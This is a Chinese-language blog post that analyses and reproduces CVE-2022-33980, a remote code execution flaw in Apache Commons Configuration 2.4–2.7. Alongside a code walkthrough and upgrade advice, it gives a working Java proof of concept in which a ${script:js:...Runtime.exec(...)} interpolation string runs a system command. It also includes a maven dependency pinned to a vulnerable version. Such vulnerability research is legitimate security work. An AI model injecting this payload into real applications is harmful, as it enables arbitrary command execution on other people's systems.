当前位置:网站首页>Apache Commons Configuration远程代码执行漏洞(CVE-2022-33980)分析&复现
Apache Commons Configuration远程代码执行漏洞(CVE-2022-33980)分析&复现
2022-08-11 00:24:00 【byzf】
文章目录
一、什么是Apache Commons Configuration
Apache Commons Configuration是Apache基金会下的一个开源项目组件。它是一个java应用程序的配置管理工具,提供了一种通用的管理方式,可以从properties或者xml文件中加载软件的配置信息,用来构建支撑软件运行的基础环境。让Java开发者可以使用统一的接口读取不同类型的配置文件。
二、Apache Commons Configuration远程代码执行漏洞
漏洞状态
细节是否公开 | POC状态 | EXP状态 | 在野利用 |
---|---|---|---|
未发现 | 已公开 | 未发现 | 未发现 |
漏洞描述
近日,Apache官方发布了关于Apache Commons Configuration远程代码执行漏洞(CVE-2022-33980)的安全公告。据公告描述,该漏洞是由于Apache Commons Configuration提供的Configuration变量解释功能存在缺陷,攻击者可利用该漏洞在特定情况下,构造恶意数据执行远程代码。
Apache Commons Configuration执行变量插值(Variable Interpolation)允许动态评估和扩展属性。插值的标准格式是"${prefix:name}"
,其中"prefix"用于定位执行插值的org.apache.commons.configuration2.interpol.Lookup
实例。
从2.4版到2.7版,默认的Lookup实例集包括可能导致任意代码执行或与远程服务器联系的插值器。如公告中提到"script"可使用JVM脚本执行引擎(javax.script)执行表达式,若使用了不受信任的配置值,在受影响的版本中使用插值默认值的应用程序就很可能受到远程代码执行的影响。
- “script” - execute expressions using the JVM script execution engine (javax.script)
- “dns” - resolve dns records
- “url” - load values from urls, including from remote servers
漏洞等级
高
目前漏洞POC已被泄露,攻击者利用该漏洞可导致远程命令执行,危害系统安全。
影响范围
2.4 <= Apache Commons Configuration <= 2.7
修复建议
官方已发布漏洞补丁及修复版本,酌情升级至安全版本,下载链接如下:https://commons.apache.org/proper/commons-configuration/changes-report.html
三、漏洞分析
如上图为漏洞的POC,使用java.lang.Runtime.getRuntime()
的exec()
方法进行任意命令执行。其他执行引擎如下
${script:js:java.lang.Runtime.getRuntime().exec("ping -c1 10.10.10.10")}
${sys:os.version}
${env:PATH}
创建对象后进入interpolate()
方法执行传入值的插值。如果换传入的是字符串,此方法会检查它是否包含变量。
进入resolveSingleVariable(final String strValue)
方法,插入单个变量的字符串值。
随后进入extractVariableName(final String strValue)
提取变量名。
进入resolve(final String var)
解析后,可以看到变量var = "script:js:java.lang.Runtime.getRuntime().exec("ping -c1 10.10.10.10")"
,PREFIX_SEPARATOR = :
,对变量进行分割解析。
获取数值后prefix = "script"
随即进入fetchLookupForPrefix(prefix).lookup(name)
获取执行器的对象。
通过获取到的对象,进入public String lookup(final String key)
方法,其中key的值为"js:java.lang.Runtime.getRuntime().exec("ping -c1 10.10.10.10")"
至此,我们看到scriptEngine.eval(script)
进行命令执行,此时执行命令的线程创建了PID=26152
的执行进程。
然后程序向上返回,看到执行完成的信息value = "Process[pid=26152, exitValue=1]"
。
通过抓报文可以看到,成功的执行了ping -c1 10.10.10.10
命令。
四、漏洞利用
使用该版本组件的应用程序理论上都会存在该漏洞,只是传入参数的难易程度决定了漏洞的利用情况。
本地POC链接见附录。
package main;
import org.apache.commons.configuration2.interpol.ConfigurationInterpolator;
import org.apache.commons.configuration2.interpol.InterpolatorSpecification;
public class main {
public static void main(String []args) throws Exception{
String cmd = new String();
cmd = "${script:js:java.lang.Runtime.getRuntime().exec(\"ping -c1 10.10.10.10\")}";
// cmd = "${sys:user.home}";
// cmd = "${sys:os.version}";
// cmd = "${env:PATH}";
InterpolatorSpecification spec = new InterpolatorSpecification.Builder()
.withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups())
.withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values())
.create();
ConfigurationInterpolator interpolator = ConfigurationInterpolator.fromSpecification(spec);
System.out.printf("POC: %s",interpolator.interpolate(cmd));
}
}
使用maven构建项目
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-configuration2 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-configuration2</artifactId>
<version>2.5</version>
</dependency>
五、附录
参考链接:
https://lists.apache.org/thread/tdf5n7j80lfxdhs2764vn0xmpfodm87s
https://commons.apache.org/proper/commons-configuration/userguide/howto_basicfeatures.html#Variable_Interpolation
https://commons.apache.org/proper/commons-configuration/changes-report.html
https://github.com/tangxiaofeng7/CVE-2022-33980-Apache-Commons-Configuration-RCE
边栏推荐
- 李彦宏拆墙交朋友,大厂“塑料友情”能否帮百度啃下硬骨头?
- "NIO Cup" 2022 Nioke Summer Multi-School Training Camp 3 DF Problem Solving
- Server Tips
- Kunpeng compilation and debugging and basic knowledge of native development tools
- 12. 处理 JSON
- Is there a way out in the testing industry if it is purely business testing?
- 2. 依赖管理和自动配置
- 鲲鹏编译调试及原生开发工具基础知识
- 5. Lombok
- Call activity of Activiti7 sub-process
猜你喜欢
报错:Client does not support authentication protocol requested by server; consider upgrading MySQL cli
Pagoda Test-Building PHP Online Mock Exam System
Jvm. Profiling tools (jconsole, jvisualvm, arthas, jprofiler, mat)
“蔚来杯“2022牛客暑期多校训练营3 DF题解
SQL injection base
英文文献阅读时,如何做笔记?
WebView2 通过 PuppeteerSharp 实现RPA获取壁纸 (案例版)
10. 接收参数相关注解
两个链表的第一个公共节点——LeetCode
12. 处理 JSON
随机推荐
分库分表ShardingSphere-JDBC笔记整理
20张图,全面掌握MVCC原理!
[Excel知识技能] 将文本型数字转换为数值格式
Design and implementation of flower online sales management system
16. 文件上传
2. 依赖管理和自动配置
HGAME 2022 Week1 writeup
如何做到构建的提速,再提速
Which foreign language journals and conferences can be submitted for software engineering/system software/programming language?
App regression testing, what are the efficient testing methods?
[数据可视化] 图表设计原则
PMP每日一练 | 考试不迷路-8.10(包含敏捷+多选)
SAS data processing technology (1)
Volatile和CAS
WebView2 通过 PuppeteerSharp 实现RPA获取壁纸 (案例版)
微信小程序强制更新版本
① 数据库介绍 及 关系型数据库的关系代数表达式
input输入框超出部分用省略号表示以及判断内容是否有超出(PC端)
微信小程序内部A页面向内嵌H5页面跳转,并且传参
Based on the SSM to reach the phone sales mall system